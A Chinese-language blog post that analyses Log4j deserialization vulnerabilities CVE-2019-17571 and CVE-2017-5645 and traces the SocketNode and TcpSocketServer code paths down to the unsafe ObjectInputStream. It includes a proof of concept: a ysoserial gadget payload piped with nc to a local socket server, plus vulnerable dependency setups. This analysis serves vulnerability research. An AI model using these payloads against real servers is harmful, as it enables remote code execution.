12/20 的时候就看到 Log4j 这个反序列化漏洞,看了眼影响版本 1.2.4 <= Apache Log4j <= 1.2.17(最新版) 。心想这个组件用的人很多啊,几乎Java开发的系统用作日志记录都是这个组件,但是深入看看之后我才发现,这年底了原来大家都缺kpi啊。
看了眼描述,出问题的是 SocketServer 这个类,而且这里最后提到这个漏洞最初被一个团队发现过了,CVE编号是 CVE-2017-5645 。这我就纳闷了,既然被发现了为什么还申请编号。
等我继续深入看一下我才发现版本不对,类名不对,内心大大的一个wtf(形容一件事情出人意料,令人惊叹,所以下面分开来看看这两个洞。
第一种方法下利用下面的方法,在JDK7u21起一个SocketServer服务,即可通过第二条命令触发漏洞。
java -cp /Users/l1nk3r/Downloads/apache-log4j-1.2.17/log4j-1.2.17.jar org.apache.log4j.net.SocketServer 8888 /Users/l1nk3r/Downloads/apache-log4j-1.2.17/examples/lf5/InitUsingLog4JProperties/log4j.properties /Users/l1nk3r/Downloads/apache-log4j-1.2.17
java -jar ysoserial-master-55f1e7c35c-1.jar Jdk7u21 "open /System/Applications/Calculator.app" | nc 127.0.0.1 8888
第二种方法
pom.xml 文件引入一个 gadget 依赖,以及漏洞版本。
//pom.xml
<!-- https://mvnrepository.com/artifact/log4j/log4j -->
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
因为在 org.apache.log4j.net.SimpleSocketServer 这个方法中通过传入两个参数,这俩个参数分别是端口信息,以及 log4j 的配置文件,就可以创建一个 ServerSocket 对象等待通信。
下面的代码是基于 JDK 8u40 下启动的。
import org.apache.log4j.net.SimpleSocketServer; public class Log4jdemo { public static void main(String[] args){ String[] arguments = {"12345","src/log4j.xml"}; SimpleSocketServer.main(arguments); } }
通过下图中的payload即可触发漏洞。
当 socketServer 启动的时候,我们通过nc发送漏洞payload,服务端的 serverSocket.accept() 接收到请求之后会创建一个线程,处理 SocketNode 这个类。
跟进 SocketNode 这个类之后就发现它通过 BufferedInputStream 获取到通过 Socket 传入的 payload 。
经过 SocketNode 这个类的实例化,以及接收到payload之后,这里有个 new Thread().start() 的过程,也就是说这个线程启动。
(new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "SimpleSocketServer-" + port)).start()
在 Thread 方法中的 Runnable 对象正是实例化后的 SocketNode 这个类。
public Thread(Runnable target, String name) { init(null, target, name, 0); }
然后在 java.lang.Thread#run 会调用 target.run() ,而这里的 target 对象正是 SocketNode 这个类。
在 SocketNode.run 方法中,正是反序列化的触发点了,真的是简单粗暴的漏洞触发呀。
import java.io.IOException; import java.io.ObjectInputStream; import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge; import org.apache.logging.log4j.core.net.server.TcpSocketServer; public class Log4jDemo2 { public static void main(String[] args) { TcpSocketServer<ObjectInputStream> Log4jServer = null; try { Log4jServer = new TcpSocketServer(12345, new ObjectInputStreamLogEventBridge()); } catch (IOException e) { e.printStackTrace(); } Log4jServer.run(); } }
//pom.xml
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
创建 TcpSocketServer 对象的时候,代入了 port(端口变量) 以及 ObjectInputStreamLogEventBridge 对象,在这个对象里面有反序列化的入口。
之后调用 TcpSocketServer#run 开始运行。
这个run方法存在的意义实际上是因为 TcpSocketServer 继承于 AbstractSocketServer 。
而这个 AbstractSocketServer 抽象类继承了 Runable 接口, Runable 接口在Thread这个方法作用相信熟悉Java的都不太陌生。所以实际上这个run方法的作用就是把客户端连接分发给 SocketHandler 进行处理。
当客户端发送Socket请求过来的时候 serverSocket.accept 会接收到来自客户端的 Socket 请求。
然后 TcpSocketServer#SocketHandler 会创建一个新的 ObjectInputStream对 象,对象内容正是我们客户端传入的payload。
public SocketHandler(Socket socket) throws IOException { this.inputStream = TcpSocketServer.this.logEventInput.wrapStream(socket.getInputStream()); } public ObjectInputStream wrapStream(InputStream inputStream) throws IOException { return new ObjectInputStream(inputStream); }
而此时我们的 handler 对象正是我们的线程对象,也就是说实际上这里就是 Thread.start,而线程对象里面的是 TcpSocketServer 这个类,所以这里 start 后执行的自然是 TcpSocketServer 里的 run 函数。
反序列化的过程中 TcpSocketServer#run 方法里 TcpSocketServer.this.logEventInput 对象实际上就是我们前面最开始封装的 ObjectInputStreamLogEventBridge 这个类。所以这里实际上调用的是 ObjectInputStreamLogEventBridge#logEvents 方法。
而在 ObjectInputStreamLogEventBridge#logEvents 方法中自然就看到了我们的反序列化触发点。
当然针对反序列化漏洞修复一般都是在 resolveClass 或者 resolveProxyClass 处进行检查,这个也不例外。
检查方法 org.apache.logging.log4j.core.util.FilteredObjectInputStream.resolveClass ,判断类名是否是 org.apache.logging.log4j. 开头。
emmmm,CVE-2019-17571这个洞可以说是混kpi了,然后log4j这种Tcp分布式传输日志的方式蛮少见的,利用面不好判断,不过如果在内网环境下可能有一定的利用面吧。